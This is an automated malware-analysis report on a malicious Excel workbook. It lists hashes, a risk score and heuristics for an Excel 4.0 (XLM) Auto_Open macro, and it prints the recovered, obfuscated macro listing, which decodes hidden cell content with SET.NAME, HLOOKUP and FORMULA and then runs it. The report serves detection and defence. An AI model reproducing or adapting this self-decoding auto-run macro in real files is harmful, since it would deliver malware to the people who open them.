Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e0e3a221c2b5da9f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:31:33 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: ec26a12334dc4a8d30ebc6162cf2e436 SHA-1: 704a9ea147b759643d67d9c0527647bc9ae4657c SHA-256: e0e3a221c2b5da9fdd24d223bbb8ac745e6478dce454c38f961061ab71167853
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6461 bytes
SHA-256: 47bb9d7f5494feaabf4f9f5d1148b17b3eda3d997f354152a67e87ead594d732
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GLbrPi
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A144 
' 0018     21 LABEL : Cell Value, String Constant - cBhveg len=0 
' 0018     23 LABEL : Cell Value, String Constant - ETPwDZwV len=0 
' 0018     24 LABEL : Cell Value, String Constant - fFZxoXCJE len=0 
' 0018     21 LABEL : Cell Value, String Constant - GZnCaa len=0 
' 0018     22 LABEL : Cell Value, String Constant - HVANMxf len=0 
' 0018     24 LABEL : Cell Value, String Constant - iLBMIUTHi len=0 
' 0018     26 LABEL : Cell Value, String Constant - kbqamzvwkkT len=0 
' 0018     23 LABEL : Cell Value, String Constant - MxKOacQy len=0 
' 0018     24 LABEL : Cell Value, String Constant - NllzOcguK len=0 
' 0018     25 LABEL : Cell Value, String Constant - oIXlMZjLIT len=0 
' 0018     23 LABEL : Cell Value, String Constant - PuWgIJTe len=0 
' 0018     24 LABEL : Cell Value, String Constant - qxNCYBkpV len=0 
' 0018     23 LABEL : Cell Value, String Constant - RFtEWPtE len=0 
' 0018     25 LABEL : Cell Value, String Constant - VKOqYxgsTV len=0 
' 0018     22 LABEL : Cell Value, String Constant - VvWdXdh len=0 
' 0018     23 LABEL : Cell Value, String Constant - VwAWfpfW len=0 
' 0018     23 LABEL : Cell Value, String Constant - westrtuS len=0 
' 0018     23 LABEL : Cell Value, String Constant - wRCqAJrv len=0 
' 0018     26 LABEL : Cell Value, String Constant - XULsuXanjwg len=0 
' 0018     23 LABEL : Cell Value, String Constant - zBInyMdP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GLbrPi,A56,"SET.NAME("ETPwDZwV",VALUE("0"))",""
'  GLbrPi,A58,"SET.NAME("qxNCYBkpV",ETPwDZwV)",""
'  GLbrPi,A60,"SET.NAME("MxKOacQy",ETPwDZwV)",""
'  GLbrPi,A63,"SET.NAME("VKOqYxgsTV",COUNTA(PuWgIJTe))",""
'  GLbrPi,A66,"SET.NAME("GZnCaa",COUNTA(VwAWfpfW))",""
'  GLbrPi,A68,[],""
'  GLbrPi,A73,"SET.NAME("wRCqAJrv","")",""
'  GLbrPi,A75,"qxNCYBkpV",""
'  GLbrPi,A78,"SET.NAME("cBhveg",HLOOKUP("*",PuWgIJTe,qxNCYBkpV,FALSE))",""
'  GLbrPi,A83,"kbqamzvwkkT",""
'  GLbrPi,A86,"SET.NAME("RFtEWPtE",ETPwDZwV)",""
'  GLbrPi,A88,[],""
'  GLbrPi,A93,"RFtEWPtE",""
'  GLbrPi,A98,"zBInyMdP",""
'  GLbrPi,A103,"NllzOcguK",""
'  GLbrPi,A106,"fFZxoXCJE",""
'  GLbrPi,A110,"SET.NAME("HVANMxf",VALUE(HLOOKUP("*",VwAWfpfW,fFZxoXCJE,FALSE)))",""
'  GLbrPi,A113,"iLBMIUTHi",""
'  GLbrPi,A115,"wRCqAJrv",""
'  GLbrPi,A118,"MxKOacQy",""
'  GLbrPi,A122,NEXT(),""
'  GLbrPi,A125,"westrtuS",""
'  GLbrPi,A129,"SET.NAME("f",INT(T(FORMULA(T(wRCqAJrv)&"",""&T(westrtuS)))))",""
'  GLbrPi,A132,"VvWdXdh",""
'  GLbrPi,A136,NEXT(),""
'  GLbrPi,A141,RETURN(),""
'  GLbrPi,A168,"SET.NAME("oIXlMZjLIT",A56)",""
'  GLbrPi,A170,"PuWgIJTe",""
'  GLbrPi,A174,"SET.NAME("VwAWfpfW",R59C11)",""
'  GLbrPi,A178,"SET.NAME("VvWdXdh",188)",""
'  GLbrPi,A182,"SET.NAME("XULsuXanjwg",1)",""
'  GLbrPi,A187,oIXlMZjLIT(),""
'  GLbrPi,A188,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.